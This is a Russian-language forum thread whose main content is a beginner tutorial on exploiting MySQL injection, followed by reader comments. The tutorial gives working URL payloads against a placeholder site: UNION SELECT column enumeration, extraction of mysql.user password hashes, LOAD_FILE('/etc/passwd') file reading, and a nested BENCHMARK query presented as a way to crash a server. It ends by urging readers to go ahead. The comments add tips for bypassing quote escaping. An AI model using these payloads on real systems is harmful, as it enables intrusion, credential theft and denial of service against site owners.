Эта статья должна помочь новичкам с MySQL-injection несмотря на большое колличество статей на эту же тему в Чужих Статьях решил все же написать более доступную, так что не забрасывайте камнями =) Итак.... Что же такое MySQL-injection вообще? Само слово 'инъекция' означает вставку нужного нам кода в скрипт. В данном случае это MySQL запрос. Прежде всего для того чтобы юзать данную уязвимость надо иметь хоть какие то азы скуля... Приступим к поэтапному анализу Нахождение: Первым делом находим на интересующем нас сайте скрипт, который собственно выдает нам какую то инфу из базы, а так же для этого использует входящий параметр. Ну вот например: _http://www.xzkakoysite.com/list.php?id=7 Протестируем параметры на фильтрацию: _http://www.xzkakoysite.com/list.php?id=7' _http://www.xzkakoysite.com/list.php?id=fgdfnnvb _http://www.xzkakoysite.com/list.php?id=8-1 или _http://www.xzkakoysite.com/list.php?id=6%2B1 Последние два варианта - это в большинстве случаев 100% скуль-инж... Анализируем Ну для начала нас огорчает то, что все таки для проведения инъекции требуеться сервер MySQL версии не ниже 4*, так как другие не поддерживают команду UNION И так пробуем. Надо еще запомнить что иногда база может вернуть пустой запрос и тогда мы не увидим никаких изменений, либо получим редирект на Index.php либо еще какую нибудь гадость при ошибке 500 Для начала нам нужно угадать колличество полей. для этого используем запрос _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null/* потом _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null/* и так далее пока не получим правильный ответ от сервера. '/*' ставит в коменты весь код после - это позволяет отбросить любой незапланированый нами скуль запрос дальше по коду. так что ставим обязательно. вообщем немного помучавшись допустим мы подобрали кол-во null. Мы же не можем дописать код странички поэтому нам надо выбрать для себя то поле, в которое мы, подменив данные, выведем пасс админа. для этого лучше взять какое нить text поле, так как имеет найбольший размер типа данных. теперь подставляем любое слово и смотрим на странице, где оно у нас отобразиться _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,null,'lol =)',null,null/* Но тут есть много подводных камней.... Например кавычки могут экранироваться и т.д. Тогда пробуем немного другой запрос _http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3/* Теперь определившись с местом поля, можно переходить к еще более интересному процессу... подбор имен таблиц!... =) Советую сразу пробовать что нить вроде pass, password, user, users и т.д. Вообщем владея всей инфой можем составить запрос типа _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,mysql.user.password,null,null,null+from+mysql.user+limit+0,1/* Ну думаю дальше разберетесь... С помощью MySQL можно так же читать и локальные файлы например _http://www.xzkakoysite.com/list.php?id=7+union+select+null,LOAD_FILE('/etc/passwd'),null,null,null/* Но это все если мы имеем достаточно прав Вообще скуль инжекшн - очень опасная вещь. Можно даже составить DOS атаку Например если использовать BENCHMARK. К примеру такой запрос _http://www.xzkakoysite.com/list.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) В качестве входного параметра безем дату (чтоб ковычек не содержало). Вообщем если примерно по расчету 10000000 запросов исполняеться за 5 сек(хотя это смотря какой сервер) то данный запрос будет обрабатываться 50 сек... Пара таких запросов и сервер ляжет. Дерзайте =))
Кстати мне не очень понятно. Я делаю так _http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3,4,5...... Это одно и тоже что и null? _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null И если делать так _http://www.xzkakoysite.com/list.php?id=7+union+select+1,1,1,1,1... То тоже получится? И еще вопрос Почему http://www.xzkakoysite.com/list.php?id=7+union+select+null... тут после id=7 не стоит кавычка? Или без нее тоже можно обойтись?
числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение. http://www.xzkakoysite/test.php?id=9999+union+select+1,2,3/* Этот же фокус пройдет и там, где кавычки экранируются. Что непонятно - стучите в асю
Ковычка типа ' ? Она нам нужна только лишь для нахождения дыры. Она модифицирует MySQL запрос производя ошибку, если запрос не фильтруеться. Поэтому когда производим иньекцию, то ' не используем. Не забывай ставить в конце запроса '/*' - это закоментит остаток запроса, если он есть.
а что значит Empty result or Bad sql: SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left
гыггыгы... не помню где, но читал статью один в один с этой. В ней тоже было написано про benchmark и md5 и current_date, правда там предлагалось в итоге не число увеличивать повторов, а брать мд5 от мд5... ИМХО в этой статье это просто вырезано. LoFFi, ничего личного... >> SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left Добавил бы еще left join какой-нить и специфические функции... Я так понял, это вопрос LoFFi?
Ну ты бы еще сказал что еще где то читал про MySQL injection, и это значит что я содрал статью. Я сам все писал, просто естественно когда то я тоже читал чужие статьи и на них учился =)
Ну например http://virusov.net.ua/displayarticle426.html Сравни свою и эту. Причем и тут и тут с маленькой буквы... Странно... Лучше ответь на вопрос портера.